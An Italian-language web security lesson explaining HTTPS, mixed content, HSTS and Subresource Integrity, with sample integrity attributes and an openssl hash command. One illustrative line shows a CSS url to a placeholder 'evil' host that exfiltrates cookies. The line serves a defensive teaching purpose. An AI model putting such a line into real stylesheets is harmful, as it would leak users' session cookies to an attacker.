0Pricing
HTML Academy · Lezione

HTTPS e Subresource Integrity

Verificare l’integrità delle risorse esterne con l’attributo integrity

HTTPS e Subresource Integrity è una lezione HTML Academy gratuita su CoddyKit. Questa è la lezione 4 di 4. Puoi leggere la lezione completa qui gratuitamente — poi esercitati direttamente nel browser con un editor di codice integrato e un tutor IA disponibile 24/7. Fa parte del percorso di apprendimento HTML Academy, e i tuoi progressi si sincronizzano tra il web e l'app CoddyKit. Il corso HTML Academy include 4 lezioni in totale.

Perché usare HTTPS ovunque

HTTPS cifra i dati in transito e autentica il server. Senza HTTPS, gli aggressori presenti sulla stessa rete, come sul Wi-Fi di un bar, presso un ISP o appartenenti a un attore statale, possono leggere ogni byte e iniettare contenuti dannosi nelle risposte. I browser moderni contrassegnano le pagine HTTP come "Not Secure" e molte API, come fotocamera, geolocalizzazione e service worker, rifiutano di funzionare su HTTP.

Contenuto misto

Caricare risorse HTTP da una pagina HTTPS costituisce contenuto misto. Il browser blocca completamente il contenuto misto attivo, come script, iframe e fogli di stile, e mostra avvisi per quello passivo, come le immagini. Carichi sempre ogni risorsa tramite HTTPS; usi URL relativi al protocollo (//cdn.example.com) oppure https:// assoluti.

HSTS

HTTP Strict Transport Security, tramite l'intestazione di risposta Strict-Transport-Security, comunica ai browser di rifiutare in futuro le connessioni HTTP al proprio dominio. Una volta memorizzato HSTS, un aggressore non può riportare l'utente a HTTP nemmeno disponendo di una posizione man-in-the-middle.

Perché usare SRI?

Caricare script da CDN di terze parti è comodo, ma rischioso: se il CDN viene compromesso, un aggressore può sostituire lo script con un malware. Subresource Integrity (SRI) fa verificare al browser l'hash crittografico del file prima di eseguirlo, impedendone l'esecuzione se l'hash non corrisponde.

L'attributo integrity

Aggiunga un hash SHA-256/384/512 codificato in base64 al tag script: <script src="https://cdn.example.com/lib.js" integrity="sha384-..." crossorigin="anonymous"></script>. Il browser calcola l'hash del file scaricato e ne rifiuta l'esecuzione se non corrisponde.

<link
  rel="stylesheet"
  href="https://cdn.example.com/styles.css"
  integrity="sha384-Vkoo8x4CGsO3+Hhxv8T/Q5PaXtkKtu6ug5TOeNV6gBiFeWPGFN9MuhOf23Q9Ifjh"
  crossorigin="anonymous">

Generazione degli hash

Generi l'hash con openssl: openssl dgst -sha384 -binary file.js | openssl base64 -A. In alternativa, usi un plugin dello strumento di build che generi automaticamente l'attributo integrity. La maggior parte dei CDN, tra cui jsdelivr e unpkg, mostra il tag SRI nel frammento pronto da copiare e incollare.

crossorigin obbligatorio

SRI richiede che la risposta cross-origin consenta la verifica dell'integrità tramite CORS. Aggiunga crossorigin="anonymous" al tag e si assicuri che il CDN invii Access-Control-Allow-Origin. Senza questa configurazione, il browser rifiuta di verificare la risorsa, che non viene caricata.

Più hash

L'attributo integrity può contenere più hash separati da spazi. È utile durante la transizione tra versioni: elenchi gli hash di entrambe le versioni, vecchia e nuova, e il browser accetterà quella fornita dal CDN. Eviti più di un paio di hash per mantenere leggibile l'attributo.

SRI per i fogli di stile

SRI protegge anche <link rel="stylesheet">. Un file CSS compromesso è meno direttamente pericoloso di uno script compromesso, ma background: url("//evil/log?cookie=...") può comunque esfiltrare dati. Applichi SRI a ogni risorsa esterna quando possibile.

Spesso conviene l'hosting autonomo

SRI mitiga la compromissione di un CDN, ma non risolve ogni problema: una modifica dell'hash sul CDN interrompe la pagina finché non aggiorna l'attributo integrity. Per le librerie critiche, ospiti autonomamente il file che ha verificato: elimina in un solo passaggio il vincolo di SRI e il rischio della catena di approvvigionamento.

Prestazioni

SRI aggiunge il calcolo di un hash per ogni risorsa: un costo trascurabile sull'hardware moderno, pochi microsecondi per kilobyte. La protezione dagli attacchi alla catena di approvvigionamento supera di gran lunga questo costo. Non esiste alcun motivo legato alle prestazioni per evitare SRI quando carica contenuti da un CDN.

Limitazioni

SRI verifica byte specifici: non protegge dal caso in cui il CDN distribuisca un file diverso ad alcuni utenti, tramite targeting selettivo. Per la massima garanzia, combini SRI con HTTPS, HSTS, CSP e l'hosting autonomo delle risorse più critiche.

Verifica delle conoscenze

Da cosa protegge l'attributo integrity di un tag script?

Riepilogo

HTTPS cifra e autentica, HSTS impedisce gli attacchi di downgrade e SRI verifica che i file di terze parti non siano stati manomessi. Aggiunga hash integrity, con crossorigin="anonymous", a ogni script e foglio di stile esterno proveniente da un CDN che non controlla. Per le risorse più critiche, scelga invece l'hosting autonomo: elimina completamente il rischio della catena di approvvigionamento.

Domande Frequenti

La lezione «HTTPS e Subresource Integrity» è gratuita?

Sì — il testo completo di «HTTPS e Subresource Integrity» è gratuito qui sul web. Per esercitarvi in modo interattivo (un editor di codice integrato e un tutor IA 24/7) e sbloccare il resto del corso HTML Academy, passa a CoddyKit PRO. Il corso HTML Academy include 4 lezioni in totale.

Cosa imparerò in «HTTPS e Subresource Integrity»?

Verificare l’integrità delle risorse esterne con l’attributo integrity Eserciti HTML Academy con codice pratico che esegui direttamente nel browser, e un tutor IA 24/7 risponde alle tue domande mentre lavori sulla lezione.

Ho bisogno di esperienza per iniziare HTML Academy?

Non è richiesta alcuna esperienza precedente. HTML Academy su CoddyKit è strutturato per principianti e studenti avanzati, quindi puoi iniziare da qui o dall'inizio e procedere al tuo ritmo. Questa è la lezione 4 di 4.

Quanto tempo richiede la lezione «HTTPS e Subresource Integrity»?

La maggior parte delle lezioni CoddyKit richiede circa 5–10 minuti. Ogni lezione è breve e interattiva, quindi fai progressi costanti e riprendi esattamente da dove hai lasciato su web e app.

Posso scrivere ed eseguire codice in questa lezione HTML Academy?

Sì. Ogni lezione HTML Academy include un editor di codice integrato, quindi scrivi ed esegui codice reale direttamente nel tuo browser e ricevi feedback istantaneo dall'IA — nessuna configurazione locale necessaria.

Tutte le lezioni di questo corso

  1. Content Security Policy: meta http-equiv
  2. XSS tramite innerHTML e come prevenirlo
  3. Sandbox degli iframe e Permissions Policy
  4. HTTPS e Subresource Integrity
← Torna a HTML Academy